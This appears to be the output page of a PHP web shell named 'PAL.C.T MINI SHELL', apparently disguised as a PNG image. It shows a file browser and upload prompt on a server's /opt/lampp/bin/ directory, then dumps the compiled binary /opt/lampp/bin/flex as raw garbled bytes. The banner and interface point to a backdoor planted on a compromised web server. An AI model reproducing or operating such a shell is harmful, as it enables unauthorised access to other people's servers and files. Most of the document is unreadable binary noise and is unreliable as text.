php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /opt/lampp/bin/
upload
files >> //opt/lampp/bin/flex

ELF4v4 (444VVVdW(((  Qtd/lib/ld-linux.so.2GNU	 +" !)K8fUa]|4I54 Shq<a2'nF2L9k)"9_$<4=%0z[uGl__gmon_start__libc.so.6_IO_stdin_usedstrcpyexitsprintf_IO_putcfopenunlinkreallocstdinisattyfgetsstrlenwarnstdoutfputcfputsmemcpyfclosemalloc__ctype_b_locsscanfstderrfreopenfilenofwritefreadfprintf__ctype_tolower_loc_IO_getcstrcmp__libc_start_mainferrorfree/opt/lampp/libGLIBC_2.1GLIBC_2.3GLIBC_2.0ii
3ii
=ii
G"# 	

 $(,048<@DHLPTX\U9N5%%h%h%h%h%h %h(%h0%h8p%h@`%hHP%hP@%hX0%h` %hh%hp% hx%$h%(h%,h%0h%4h%8h%<h%@hp%Dh`%HhP%Lh@%Ph0%Th %Xh%\h1^PTRh0h@QVhGUS[^tX[ÐUS=u?-X9v&9w[]Ít&'Utt	$ÐUU]ÍUWVSE}E|$$[l195l~vEt|$$ M4$m|$$E
lt&9}
BuC93މ|$$ 95l}E][^_]$D$<$D$a믍&US@2.9У@2}R
@2.<;DD@2@2@2[]ÍvBd.D$<;@;D$$ؘD$<;.D$.$赘D$..D$$蒘
@2;<;.@;&UWVSE]$ɐ
.<;U4M<;Et8;1B;Et%9uZ9}UFM
E;[^_]$Z@;D$D$诗ã.E믋뜐UWVSMEEKAw
Zt3);EEE9EUMDP3 gɋEy<;ڋ.4to~-=1
t9tt;U~EMEUEE9ElE[^_]f$>6=1
&9t;EuۃEMEUyUWVS<
~#1ҍfETBD9}MAUDŽDž@MD$$L$EE94ETP3t͡@29|;l|$<ʇy.ۋM<;4L$D$D$D$D$$!~U511uAE9~B9;uQ;M9}<[^_]Ë1ҋ];ruڋ
Ux@;D$xD$Z$蛓D$ZxD$0g$xD$0gxD$$2$UD$$2xD$$2D$xD$T3$D$T3xD$@3$D$@3xD$83$ɒң83txD$$D$衒Ív'UWVS
D2}E~>9|0T3u94u$29<9}ЍA;xD2ƉEGD$@3$ޒEO~]1ҡ@3]DD9u$2<T3}<E83u}7[^_]á@34E~.UB;Ft&M;uv9}u1g[^_]ál

Z]~1ҋ]D9~;Uu839
ZH7b
D2Q|$E$N~E2|$U$3~D2PED$U$}D$E83$!}~>
83M1ɋ}DDD;Z
U;MuաMRv'UWVS,EE䡘EEEUEUAfU5 g.}t
EMU];}M g4xۃEb9E|$b@;D$D$D$EbD$$JEUMEUEE,[^_]ËM~ֿ9}8
EP3<uӡ g4}tÍx_Eb9E(E g4+}EUMEb9EUMu4UC g4,Eb9EU5 g.}EMUEb9EEU]9}EMq$p9\ gy}ѡP3<Eb9EbD$E@;D$$ƌD$EbD$$襌P3<Eb9EMb@;$D$D$OD$EbD$$.Ub@;$D$D$D$EbD$$ۋbD$$蚌Mb@;$D$D$~D$EbD$$]vUWVSl}~$1ɋ3)‹9uދED$D$$D$Et$${
l~11<9uED$D$$#D$qEt$$*E$
D$[^_]ÍUWVSE@3P$2<
g11ɋgLPDL~"9du#v9`t9~c`9u`$t$RwUD$D$$T$g~IE`$
D$
t׋UD$;D$$.9~ӋE$
D$wļ[^_]Í`D$$vUD$D$$T$막'U]]u83uut,3u
]u]É\$D$?43$w\$43$t$43$43]E
uE]UWVSEUuEE҉UuE%=tgU9M|vut4u܋u<uԃuϋE~ȋE@@ut&9E|UD@tgu܋E]E[^_]ݩ[^_]Ðt&UWVSZD$$<D$xb$!lx*
lDŽDŽ9}ᡰZxx19Z}=82
5
;

=Z5
Z	
D$$T$z$Qv~1$&;u}$vuaxD$$ކ:x19}D$D$4$A83ZDžXDžtEbDG]䋅x\$U}|$}T$D$$5|$E䋕D$E$D$xD$ED$N.u]5P;g=tg%9tՍ<l<uux@@u9|xD@tgl$]D$9t9\H<Džp~#t&9}򃅜@3}$2|82|D$T$\$<$DžDž&teDŽ
82ɉ19u􃄅bDŽ95}ZJ(3=.ft;ptʃˡ\$t$D$$9|t$T$D$$"x|$EED$ED$ED$$|$E苕D$E$D$ED$ED$.}]g=P;ltg=%9tՍ<<uux@@u9l|xD@tg$]D$蠢82EۉZDŽ]8g9}83(
t"EDŽZ`=};=HgP1Dž~911DžD9}\Ã;uዅ\$|$D$T$4$W%9f
Zrx<$$
Ĭ[^_]ËbD$Z$變BKD$t$D$$[E3|$D$$:$AnHg9E${~*uE؉$z;uu$mE4$T$D$St,343\$D$?$s43\$$43t$$43$
D$i؉$5zD$D$D$<$!~C`3D$D$ZD$
$҉$b@$菄D$
D$$xD$b@wxD$HgD$D$D$D$$tqP;bl1Z9Huv99}&W$bn끋="UWVS
@2~yEu<;E<0.~51ۋ
~EȈ8E.9͋UEE9@2}[^_]ÍUMW1VuS]~/1Tu|Ttىu;EuӉ[^_]Ðt&UWVSEEEEEM}tuUt&MM܋	EM0MM;uωU9}EtcU}9td:Et9|U9u9uۋUߋMuM4ƃF1ҋE9E)9uމߋUM҉Uu4t	9u7MUM܋1u]tU܋MUMt89M~3UM MBExtE9E[^_]ÐEEU9UR[^_]ËMu4G:
vUE|$}$t$u80t0
t$t$|$]ÐUS~$	yh~$ dhu[]Ð&UWVSlD$$@D$k=l~Y1)Љ$Js9l~/Zt̃@~ǃZ‰$j.r82u[^_]á1D$D$$D$lEE~t&;=l}ZE4E<$^fD$\$D$$$ D$}u9=l$
D$E};}y[^_]ÐUWVS<xZD$$<w5l
,3p
EHgM졀E]83Hg
ZP;D$$D$iD2EEEEŰMԋ]܉<83EС821
9.MЅTt @u~;Z%<$^p82t]ЋD^D$vD$$9/D$D$$D$9bE̍ẼEUE9D2]̋MԉMoD2
Z=l
uD$$D$hD2~FMԋ$ol
u82tUԋ9D2}ƍMԍ$ol
nn(3R=g582OD$=$@D$Sg~o*fc3c)Љ$o9|>
82t΋c\$D$E3c)¡T$$mD2%É]؃=d]ZUȾD$N$T$f=D2-tNx^Z$!n9=D2|Y50gZ:uZub문ZD2|)ȉ댍wZ$m;u0Z$mb0g9u}l}ػ5ZMD$V$L$Ue]؅~0g$m9]},ld}ػ|
ZumD$D$]$dd~^+x4
ub

$l9d|,p<u‹xǺ댸%kd}ػvZugD$D$d$Xd
d~9pp
<
p

$k9d}k<[^_]ú뒉D$\$D$$Hg
83D2~ ]Ժ9D2}UF$
D$>ED$D$$r Ox$	kD$D$$ D$FUVS
ZZD2uD$$D$b83KHgD2~Sv83$`j82t't#\$t$D$$~95D2}@i(3u[^]Ã[^]et&UWVS,dZ$D$_$'^d9%&Kd;%}D2B9xD2B;x}꡼Z=pEdMDxSEdMTdTdDdD5D2xY83GEMUMELTM܋MM܋E9D2}d1y,D$$cd9|\=p4;tx)ًZ$)ȉD$]cd9}x=pUэDD$D$(cdxDD$pD$c$k%\Z$DD$\$\Z@u-1ېt&Z$sD$\Z9}f(3uN,[^_]ÍvD2ZD$)D$_bx$D$Bb,[^_]aM'UVSu~t&$	q[~$ [[uu[^]Z&U\Z?l
R$f$Z$Z$4B$/$l#$$.M$$$$$$$<$$}-$j-$`W$D$8$,Z$-$$$$$$$-$$$-$
s$g$[$O-Í$4f$\$f$btál
u$$&$$$$-Ã$$$$s-$[$O$C&'UWVS}u~$	W~$ Wut$<$:\E.[^_]W&USl
,3
~$	W~&$ Vu$HV~$	V~$ Vu$BV~$	qV~$ [Vu$U~$	*V~$ Vu$U~$	U~$ Uu$jU-[]á~$	U~t&$ tUu$lU{'USl
0,3#$	U$	
U$	U$>T~t&$	T~$ Tu$ZT~$	T~$ tTu$9TuYZuP~$	0T~&$ Tu$SN~$	S~&$ Su$bS~$	S~$ {Su$S~$	JS~$ 4Su$R$
S[]ÍUSt_
@g~$	R~$ Ru$pJR[]Ít&~$	pR~&$ TRu$YQ@gtN~&$	R~$ Qu$Ql
C~$	Q~t&$ Qu$vBQ~$	qQ~$ [Qu$P[]á~v$	!Q~$ Qu$0P[]Ít&UVSu~t&$	P~$ Put$$VU$.:P%~t&$	aP~$ KPu$O~$	P~$ Ou$O~$	O~$ Ou$4RO5g~v$	qO~$ [OuD2$hD$O~t&$	O~$ Nu$N-~f$	N~$ Nu$JN~$	qN~$ [NuE[^]Mt&UVS0,3~5l
1$
N;~t&$	M~$ Mu$ jM~$	M~$ Mu$T"Mu
Z$
HM~&$	!M~$ Mu$L~$	L~$ Lu$ZLE~t&$	L~$ kLu$
L-0[^]Ët

tX~&$	L~$ Ku$KZ듡Z~$	K~t&$ Ku$|D$K~$	IK~$ 4Ku$Js~$	J~$ Ju$D$AK~$	J~$ Ju$*J~$	ZJ~$ EJfu$I~$	J~$ fIu$HI~$	I~$ Ifu$tRI+]$D$<D$$~$	YI~$ DIub$D$Il
~$	H~$ Hu$H~$	H~$ Hu$8H-
UWVSut(3vD$<$蒻Z~v$	G~$ Gu|$$L$.jG~t&$	G~$ kGu$
G~$	1G~$ Gu$F~$	F~$ Fu$ jF-Zl
tN~$	pF~&$ TFu$E[^_]Ë
(3D$<$D$肸Zu
7~t&$	E~$ Eu$
JE~$	qE~$ [Eu$DZ(tx~f$	E~$ Du|$$PI$.Dt&k-<$ID$<$D$vUWVS(3u
5Z~$	-D~t&$ Dut$$H$.C5,3~_~$	C~&$ Cu$BC-$
C~$	aC~$ KCu$KB,3~N~$	C~&$ Bu$B-$
B~$	B~$ Bu$2B[^_]Ë
Z~$	LB~v$ 4Bu$A~$	A~$ Au$A$V~t&$	A~$ Au$K*A~$	ZA~$ DAu$@~$	
A~$ @ubOZ$0D$LA=l
<5b.~$	@~&$ t@u$@~$	A@~$ +@u$?[^_]á~$	?~$ ?u$z?~$	?~$ ?u$2?~$	a?~$ K?u$T>~$	?~$ ?ut$$lC$.>~$	>~$ >u$J>~$	z>~$ d>u$}>~$	1>~$ >u|$$B$.=,3ң~N~&$	=~$ =u$J=~$	z=~$ d=u$H=,3~_$
==~&$	=~$ <u$<~$	<~$ <u$J<[^_]áb$\D$<&UWVSJ4;t
<g$qJ<gtq4;$o$\=4;-$0;$/$x#$IZ$D$<Z$'D$;5d=	$D$
Z
$Yl~$	:~v$ :ut$$z~?$.b:$N-Z,3~l
u
ZD2D$$D$=D2~Z&Z$sD$:95D2|(=uС$(E95D2};D5tiZ\
ZZuD$D$$<=Z~ g$D9ZCl
WZL
.t5ZD$ $4<D$@$ <$48$88$8$(8.	$Eg8$P[8$O84;=Zu&5<g	$b$<g!$$$$8$8q$\e$Y$M-
ZuJ<gw$r7$f7$Z7$N7$$B7bD3$O8D$$*IEZu%|?$6$d6rE$@g$f-:ED3$7D$$H
E4;t
<gsD$G6D>DbbD=DD3$7D$$GZ1Ҿ&H30u[~v$	5~$ 5u420$D$^:9=Z}t$-C5u"Zu
l
ub$WCCC$(CCbhC@g1blBD$$XF=<2M[^_]Z
$A$$$${$o$$4^$K$?$X3$ $5
-$-A='$A$$5Z$~$	3~$ 2uZ$VD$\3Z,$$~$	2~$ r2uZ$oD$2
Zd$~$	2~$ 1uZ$oD$]2Z uH$~$	1~$ f{1u$1Z$|-$-$$l$`-$ 0$\0$0$t04;%$$$$b$ *$$-m[^_]b$i$uY$/$6/$</$/$/$Px/$hl/$}`/$$T/$LH/$</$0/$$/$/$d/ $.$$5-i$h.$.$./$0.$.$~.$$J&$@$|9$$1$$$$$o$c$W$K-2$3$'$g$$4$t8-$,-$ -CUSD$D$D$Ҡ\$D$D$$袠	D$$D$虠\$D$D$$i\$D$-D$$I\$D$"D$$)\$D$D$$,	\$D$'D$$L\$D$-D$$tɟ\$D$D$$詟\$D$+D$$艟\$D$2D$$i
L;u?Z6D$b$D$	D$$D$D$\$D$.D$$<\$D$D$$lǞ\$D$-D$$觞\$D$1D$$臞\$D$3D$$g\$D$*D$$$G$D$PD$>$D$D$%\$D$D$$\$D$D$$՝\$D$ D$$t赝\$D$D$$蕝\$D$<D$$u\$D$;D$$U\$D$%D$$45\$D$=D$$\\$D$=D$$\$D$*D$$՜\$D$5D$$赜\$D$D$$1蕜\$D$,D$$@u\$D$D$$OU\$D$&D$$p5$D$D$,[]ø:t&UD$$8;8D$b8;$8D$028;$8D$%8;$8D$P38;$8D$ g8;$j8D$8;$P8D$8;$68D$g8;$8D$$d4gdt7D$%4g$7D$g4g$7D$$((7D$b$7D$Z$n7D$$g$T7D$H3$:7D$$d.d427D$<;.$6D$..$6D$$Z6D$$b%6D$x%$y6D$$	%	pV6D$$xb36D$Zx$6D$0gx$5D$$2x$5D$x$5D$T3x$5D$@3x$583ÍUWVS,]}Zb82iZtZbh4;pZ(2l
,g<gb%lb(3gZh
t
L;bk03L3|D;D$$3DgbD335>NCE}[;-CE<-7sthЃ+<Lw$fT$D$HD$D$$B$֖lt&4;uEmtU;-uCfEU,2,21x
~$lubD2Z@2H;.Z|8gP;ggb@;<3Z%|
bZg,3@g.<2bi
0;,[^_]f4$|+ZnuvpZlbt$"uu%(3gZETfB<,$Pg(3|>b/Z t$/"Fbt$$"F82D$E$D$$ttg(3Z|a$ZAb2t$A!FL;t
bL3‰D$$^(S/|ZgZ(3x
u::C:CmE3UVS ut,$茑$g&t
t43,37u-
Zu#D$D$"D$$kT$D$$d43$א	$D$r$fu'4$ǐ$|D$J$%t&D$ED$D$$D$D$$PD$譏Zt
?Zbt
~$pD$軏=t
~$pD$蝏bL32pibA=b
Z82l|$8D$D$D$$eD$qZ!Z~(3Wg0|EL;tD$D$o$bk:T$D$u$Ս$
D$ 8;D${D$bD$$虍gD$4D$xD$D2D$$i.ZD$D$$B,3
uZD$D$T$@gD$D$ZD$$Ќ<3D$D$ZD$$詌
@2D$D$$D$f8gD$8D$$XbD$\D$ZD$$1ZLD2D$\$$(3ggD$D$D$bD$$贋@;D$D$$薋\$D$$}I43$ۊ+	$3D$$軋$D$VBl:Bm:B#$D$D2%D$dT$xD$$蟊`D$D$%D$dD$$o%D$%D$%T$D$$3p
D$D$$gD$D$$|D$D$%D$$Љv(g.D$ZD$<;L$D$D$.D$$fD$D$D$$H$aD$螉lD$,ÉD$D$$$vD$V$tD$<$bD$"$+D$$sD$Y$lD$Ԉ$iD$躈$dD$蠈D$"D$$D$D$iD$$$rD$9$LD$$BD$$wD$}D$D$$D$QXlD$TD$%D$$/F$TD$u>$mD$[$eD$A$FD$'h$fD$
Al$u/$+$D$$D$|h$7D$芆$ID$pD$#D$$|D$օ'USD$$#pG8iP
t\43%!4;!l
t
~Wbb=t
~b4;l
.l
t
Z
.t
l
Zl
h
=l$
Z^(2$]$Q$E$9$ -$!$$ 	$IZHbYblZ$\03tQ$t$$t$h$\03$D$W(3Jl1У)[]ál
DZb$l
&$$x$xbt&$db&
Z<g$)$03$(3&lD$$ .D$Ӣl1У(3)[]t&$!T?$8i$
t	D$3$€43\$$=v$
b$$x=lA$X;$M$afl
%4;D$ED$$$D$3D$FD$$lD$D$CD$$D$D$+D$$TD$$$5vD$5D$$D$^4;TD$-D$$$D$,*D$$"t&$$$
l
KB$5
$J
v$
l
fU
bZZsf%<gb|=l=bZXgebqb}b
ZZt<g(3lH~ .9uL3u>
L;D$3D$$|tD$	$|bk:ul:BZD$"T$D$"$,

h
$.L;tD$$b.=l8Z[N=bl
ZE7b8&
l~"t&B9 .u .Dg$t
b$j
b$Q
bw$8

Zk]$(
LT$D$?D$?$,KD$NbD$N$,D$&D$]bD$]$,D$D$jbD$j$,D$
D$wbD$w$,D$
D$bD$$,D$
D$bD$$,D$m
D$bD$$,D$H
D$bD$$,D$#
D$bD$$,D$	D$bD$$,D$	D$bD$$,D$	D$bD$$,D$	D$bD$$,D$j	D$bD$$,D$E	D$sbD$s$,D$ 	b	D$bD$$,D$h
D$bD$$,D$ZD$b$D$	D$
wm:Br'$Pf(3lb$Z$Z$L+7<g:$D$P$D$s&'L$qUSQAD$$}(蓋Z~Ht&u ;H;tg$D$59Z}¡bt9l
u0H;tg$pD$4[$/1Y[]aÐUVuS]~&T9~L9u[^]ÍUWVSEEE~{E9E~iNjE߉}EEEEMx-UuSMUuEx:wEEEEE+E9Eu}E[^_]Ë]Mutt8sEy륍t&DgD3UbD3Dg]ÍDgD3UD3Dg]Ðt&UUtv<
iBu]Ðt&UMU9s1)9u]UUv#~ '	tÍBvT$D$!	$s$	ɸ	ɸ	ɸ	ɸ	ɸ	ɸ	ɸ	US]$tt ڐt&<
iBui[]Ív'US]$D$s1
i[]ÐUSE]D$E$D$(st"ڍ&<
iBu[]ÐUS]E$D$rt<
iBu[]
US]$D$}qt<
iBu[]Í'U(ED$ED$+	$rEÍt&'U(ED$EED$<$qrEÍt&U(ED$ED$.	$HrEÍt&'UVSut1Àu&qZtÀu
DAu[1^][^]Í&UVSut1Àu&pZtÀu
DAu[1^][^]Í&UED$1	D$D$$q$q'UED$D$O	D$$pE&US]ÀtÃ[]Ðt&oDXt䍃=vpfUS]E$D$?pt<
iBu[]
UVS]uE$t$D$ot!ڍ<
iBut<
iBu[^]Í&'UWVS]u}E$t$|$D$_ot<
iBut<
iBut<
iBuUt &<
iBu[^_]
UVS]u$t$nt<
iBut<
iBu[^]Ít&'U8}}]uGE_C<Hwz$	WUwƀu.omWE2ӍRƀuMDAuED$ED$.	$)nEЍ]Ћu}]Áuu#lW
֍RÀu
DAuM܍ED$D$+	$mE뛺
딺	덺
놺{qgf[t&'UED$E$W	D$lW	t&iW	<
Aui%@%á$
D$l
gfffi
)9t%á$
D$li֍v'U$
D$}li	~&$
D$Oli%Ív'USE$D$ED$j\$D$O	D$$k$L[]ÍvUVSu~qFt$D$!	$jD$D$4$i\$D$O	D$$j$;5l|vw|Ft$D$!	$iD$D$`$qi\$D$O	D$$oj$;[^]Ð~{ '	t$
$	t&h	^	T	J	@	6	,					|	r	h'USE$D$ED$Bh\$D$O	D$$@i$[]ÍvU%~8$
D$dii	k%$d	id	t-id	&<
Auii%á$
D$hij'U%	D$D$$m	D$gm	t&im	<
AuiE%$r	D$gr	t&ir	<
Auiá$,D$g뜡$,D$g$
D$gi	%$
D$kgiU%	D$D$$m	D$fm	t&im	<
AuiE%$r	D$Lfr	t&ir	<
Auiá$,D$f뜡$,D$mf$
D$Xfi	%$
D$fiUE$EtáD$D$1	D$$ke$e&UVStsD$D$$5d„ts;%ttѡ$D$ctڍt&<
iBuu`ƒңu[^]Í&C<*tV:<%t&tݡD$v	D$1	D$$`d$d<+t]<-uơZ$hdt"ڍ&<
iBui5ZUEED$E$DCtáD$D$1	D$$c$4dUS];t:u)Љ$Btu[]áD$D$1	D$$c$ct&UEE${BtáD$D$1	D$$b$[cvUWVS}<$4bDg
D;Qƍ9~9TfD;D$D3$AtXDg
D;D3A9|	ĉȣD;D3|$$a5Dg[^_]áD$D$1	D$$a$bUWVSZE9s<t59s$Kt\u\9rfEuhE;|$iiD$D$L$_Et4E$D$_[^_]áBb|$뫉$[^_]US]$C`=~\$$	t[]ËE\$$D$	D$R_$[]É'US];t:u)Љ$?tu[]áD$D$1	D$$_$}`UZ4g9УZ}H=Z~D$$AZ
bgZÍBd4gD$%@;D$$cD$%4gD$g$@D$g4gD$$@vUSU] g8t7P3<tE
[]vuރ<3[]ÍUSb8;]9УbS=|8;5D$b@;D$$UD$b8;D$02$2D$028;D$%$D$%8;D$P3$D$P38;D$ g$D$ g8;D$$D$8;D$$D$8;D$g$`D$g8;D$t$=tbۡb%b02bP3b gbbbg
Zbt
gbx5t8$(3tt5D$D$ .$b[]ábZ[]ËlÍt&D$$(
8;UVS ED$\
D$$[b+&$
D$[9b\$D$X$[4D$ gD$P3D$eD$$C[st$D$t$"[Ut&D$D$${D$Z [^]Ít&U(M]u}t<itE
]u}]P3<E+ g4U$!$
7
MEt<N
P3<M g4Et.t$
EUtOtt;P3<u gE|]u}]áEUM<t
MMEt$
UxM<Mt$EU$
M$j
M$T;P3< gt$#UM$E&Uuu]]}tu؋u]}]f$E gu.0P3<u^uP<3]fP3U<ut5$
 g0t똍t&$
]K<30͐UE]]u}E%}4 g8t:P3<t$
K%v0uۃ<3029}Љb9~Љ]؋u]}]Í&UWVS,EUEء02E䡼b49u-MMM9u
P3$ gEt})EE}܋}E%<:ulUP3<y=hE܋ME%
 g9<$
%P3<uu<3Mq$
P3ZUtME}؉Ë
b)u3
%02,[^_]Ë}9$릍6<3U[fU]]u}E%P3<$W<Ɖ gۉE%E g8t,P3<E<30M029bM9i؋u]}]áP3<t0$
Df g0볉uƒ<3듉wt&$
t%>'UWVS$ƋEEt&ƃEE9EE$3t݅tۋ%M< g8P3<u8t`$
%M029}ЉbM9~ƒEE9EN[^_]Ã<3맍&U%]]u}}4P3<$ۉE<t\tX
%< g8uUU]
029}]Љb9~Љ]u}]á<vP3<uu	<3$
O
%qt&U(Euu]}tuu]u}]Ð$U%E g8M=P3MM02UE܋;E}E܉bMUE܋;E~E܉E g]u$0Wt&E=P3E gt܋M<9u,&$
=P3E%M=E32u<uV
 guI<u=Eȋ0}E<3$#tNE% g8P3<$
*%%EE4 g8t@P3<ut$
%M
<3
 g1볉5<30Mˉ02Ë9}ȉb]Ë9~ȉ=P3<t+$
%=P39<30Euƃ<3M<t&'UWVS]%<P3<;$'ۉuw$
%41 g8P3<u&$
[^_]Åt
%E g8kP3<?$

%029}Љb9~Љ<3t&[^_]Ít&u,
%4 gv
%4E g8uK02UE;E}EUbU9~‹EuP3<uEu	<3$

%zE<30fUE$_EUWVS]%5Z<P3<$ۉ4UZ
gbht	Z,ZD$4$D$H4$"}Z%5t
~'ZgD$
D$$I.hu$D$$[^_]Ðt&Z%]Ä$
bED$D$D$D$4$G4$+$0P
%4 g8P3<tp$
G
%sM$
VUD$D$4$T$)G4$Yt&4u<3
029}Љb9~Љt&UWVSEE$U҉EE]EU9UU$MËEtمt؋E=%u g8P3<u$
=%>029}Љb9~ƒEU9ULt&};$u9uEt&E$e=%U g8(P3<$
=%Uщ:029}ЉbM9~‰$EËE+E9E?EE0+E=%u g8>029}Љb9|E[^_]Ã<35<3t~E=%u g8P3<$
=%>029}Љb9~ЉE]]E[^_]Ë]$P$8$pËE]EA}tu=%] g0U֋;029}Љb]9Љ}P3<uu<3LE=%u g8>029}Љb9~Љ$
=%9<3=UUsP3<tE$
=%UuP3<u>u0<34uu<30uv$
6=%U]Ít&'UED$`D$ED$D$$&BÍUED$`D$bD$D$$AÍv'UED$`iD$bD$D$$AUSpuFED$s$D$H@E\$D$`D$D$$?A[]Í&'USE$D$ED$?b\$D$`D$D$$@[]ÍUSE$D$ED$?b\$D$`iD$D$$m@[]ÍU(pu5b]uCED$s$D$>\$t$D$`D$$?]u]Ít&UWVSiVt&42D$$<$D$y>b|$D$`D$D$$n?9i|YHiH3:u42D$4$D$=4$]9i}D$$!-Z.[^_]Ð&U(E]u$D$ED$=p5bu@\$D$s$c=\$t$D$`D$$]>]u]Ít&'UW1dVDS<TiiDžDžf8ҍD
9''v
Dž'D$=J)ѽT$$L$<0T$$D$<9t$9<DD9GLtG=ii=w`Ínw9)L4t)‰r?)B`XЋƒnTi,9tt9tÃnwĀuЅ~<סLiDžQu9t$C:<[^_]Ãu=i~i]ff9$1i9iЃ~[<it
iסLij^
`WډЉ15i4i$&D$*d8iqA$<;pnbiD$D$D$`D$$]90Diۋ1
bu$i}ip\iDiiPi(i$igX@itp5b$ib5$iDi$$
<iD$<i$UD$$G$iB$%: i$9 i؉$]D$D$D$ZH;$7Z0i~=bT$$0i9Z0i}ȋ
b4$T$D$B$4$iB$bDi}Di$i$i(igp$iA$`ibiD$D$$iD$B$!Z5i0i
Hi~;Yu$&;t9}0ii0i9Z0ii멋pD$$_ybiD$D$i/APi iD$i$D$\iD$i0iHi ibD$$0i9i0i}PiD$i iD$\i$D$i0i~BHi iZD$$0i9i0i}á@g=t
@gD$h$i\iDi@i(iiPig,gBiwAid$&03N$&b8$&L;iD$bD$iD$|ދ$iQA95,t&)D$D$A$$~lq11ۉ  DX 9lBÀuԡl*11ۉ$$X9lÀuաlX11ۉ((DX@9lÀuԡl11ۉ<<DXC9lpÀuԡl1ۅW 	9l6Àuա8i.
5(3	(i؉$lW01ۉ,,DXm9lÀuԡl01ۉ00f<Xk
9loÀuԋ
Z
	@~	Z
L$B$48i1t;,i8i,i3ZlC/1ۉDXtXi\$$39lÀu4i{4ilZD$$oiHi;Zt@~	Z(i$D$A$lN.1ۉDX9lÀu$&ƍt&l}-1ۉ44DXc9lNÀuԋ
l6-1ۉ88XI9lÀuՋ02P3<t*$dD$$$@igt<5$it
it
p5b9$iibu$iiZ@D$B$\i8i,i/ƣXil?,1ۉ@@X9lÀuՋ$iAtD$B$D$A$|E$iA^D$D$B$m`i(i؉$sZ(i
@~	Z$9
Z';0i;D$$1/0i0i9}ۋ8i1';,ir	$&Sii0i
HiQ;iu;i9i0i}iPii(i؉$dgXi\$$!.Xi\$$.Xi\$$-UXi\$$-5Xi\$$-Xi\$$-!Xi\$$-Z@D$B$"\i&Xi\$$R-Xi\$$<-LXi\$$&-}(iPik
Z0i~D
H3Hiui0ii0i9Z0i}͡ilpbDD$D$s$'\$L$QBw$諷BB$胷(iiW$hlY'1ۉDXtXi\$$+9lÀufŋ1biD$D$`D$D$$'pJl
D$<;D$.D$D$ .D$$H<;.D$D$$߰T$D$B$biD$`D$`D$D$$&3QbD$D$`iD$D$$@&OXi\$$)(D$
`i$)`i$'(3Z0i0i9Z0ib$guҡ iZD$$볡bD$D$`iD$D$$>%$biD$<D$`D$D$$$p42DD$$D$#pbi90ir
HiDD$&D$$Q#b\$D$Z0i 0i9Z0i$guҡ ibD$$ 볡biD$<D$`D$D$$#p(iPivӃ2DD$D$s$V"\$t$D$`D$$P#${$c@
HiG\$DD$s$!\$D$`D$L$$"$@biD$D$`D$D$$p"r:DD$D$s$$!\$t$D$`D$$"~l
`iD$<;D$ .D$D$.D$$<CU
S]9tSt$A(ACS(hi,$[]É'
U]AQ(hi$
UUt0BBB@J;BB$Jt]Ít&B

hi]($Ít&'UEt]]Í&'U]&U] &US]tNc:t7$迼D$	$tHb[]Ðd:Cu$nb[]É\$$	b[]É'U,2,2~x
x
$1ɉÍ&US]Mt0CCC@S;CC$St?ɉC t"$$z~	S[]1҉S[]Ðt&Chi($뜍t&'US]tB1;!Cu
][]C$][]f[]Ív'U]]uuw1ɋ]ȋu]À|u|u$(9CAqq9AAAAA A$tt$C(CAQ
(hi,$6D$$D$K	$h$t&U$(]uu}}GpF$/CCC@;CCC$tB;C t1<$$)~S؋u]}]Í1hi($뚡D$PD$K	$c$
UVSuCCC@CSCC$(Shi$3C tO4$$'~6
SAQ(hi$[^]1ơD$@$ã1wvU(
}=]hiuwV(9G u)كȃ]ȋu}]É)؉EEEEփE9Eu$W+E~Ct&GD$G$GtF=
W+EW_Gt)ÍЉGGD$D$K	$)$== ~ O1"O
M@9ވt)$u̡$5=5(1ɅGUGGG@GWGG$(Whi$ۉG $$mW=GW(hi$GU((GDGhi(G=D$|:G$1c\$D$D$EG$(t/=1ɉG[U@
=a${u4=(HD$@$ǣOD$x&'UVS$
uA(B9HAˣ+hi
t?P@$1
B[^]Ë5CCC@CSCC$(Shi$3C t4$a$1ҋ
SAQ(hi$,2,2Gx
x
$,5CCC@CSCC$(Shi$3C tc4$r$
~J
SAQ(hi$t&hi1D$@4$ã"hD$@4$ãMUWVSu~<$1҅~M
9uD33v|;t)D$D$K	$$"|;u$(YGYAA9ىAAAA A$tSt$C(CAQ
(hi,$A[^_]D$D$$'U1U:t	<uD$${É'UWVS|\tj\qp
AQ(hi$Dž=$Xf t0=4-ʍ49t &~4,`Jf-
u fu0=4 )ȉ
hidi$=w$D$D$K	$$j`ΡD$@$Ldi\6
hi|
BLi|[^_]ádi&6
hi|
Bǡdi76
hi|
BL$$&$dihiP@$Adi2hi|
B^"di~hi|
B"$diPhi@$Adi~hi|
B{~$dihiCS$C
di$6hi|
B$di~hi|
B5,g!
,gt&di~hi|
Bb
hndi~hi|
B$diJ
hi+diB$B
h-dihi|
Bdi~hi|
B,ghvdi~hi|
B1=Zqdi~hi|
BZ?di~hi|
B
di~hi|
B1=bdi~hi|
B(3di~hi|
Bg(3|Rdi~hi|
Bg(3Z|di~hi|
BD$$Ӫdi~hi|
Bbdi~hi|
BbTdi~hi|
B$D$21=h
di~hi|
Bgdi~hi|
B$D$販di~hi|
B=t
]di~hi|
B1=<g$di~hi|
B|di~hi|
Bdi~hi|
B$D$螨di~hi|
B(2Qdi~hi|
BL3di~hi|
B
D$$]di~hi|
Bdi~hi|
B1=pjdi~hi|
Bb8di~hi|
B%di~hi|
Bh
di~hi|
BD$$襦di~hi|
BZD$$\A&di~hi|
B
D$$&di~hi|
BD$$輥&di~hi|
BjD$$lQ&di~hi|
BD$$&di~hi|
B]udi (
hi|
BL$$di~hi|
B>$diщhiAR$Adi~hi|
B>di~hi|
B^]di~hi|
B 9|7 &D$$4&
Ћ
%di~hi|
B"di~hi|
B$"b<
di)hi|
B1di~hi|
B$$Bdi~hi|
B$dihiCS$Cdi~hi|
B^(di$
hi|
B$dihiCS$C
di-hi|
B-di~hi|
BPdi~hi|
Bdi~hi|
Bdi~hi|
Bdi~hi|
Btdi~hi|
B=di~hi|
Bdi~hi|
Bdi~hi|
B=%耣ldi~hi|
B=ldi~hi|
BZodi~hi|
B$D$M2di~hi|
B<gdi~hi|
Btdi~hi|
B1=bdi~hi|
BZc$=40di~hi|
B<
di~hi|
Bbdi~hi|
B!Dždi
hi|
B$芚_di~hi|
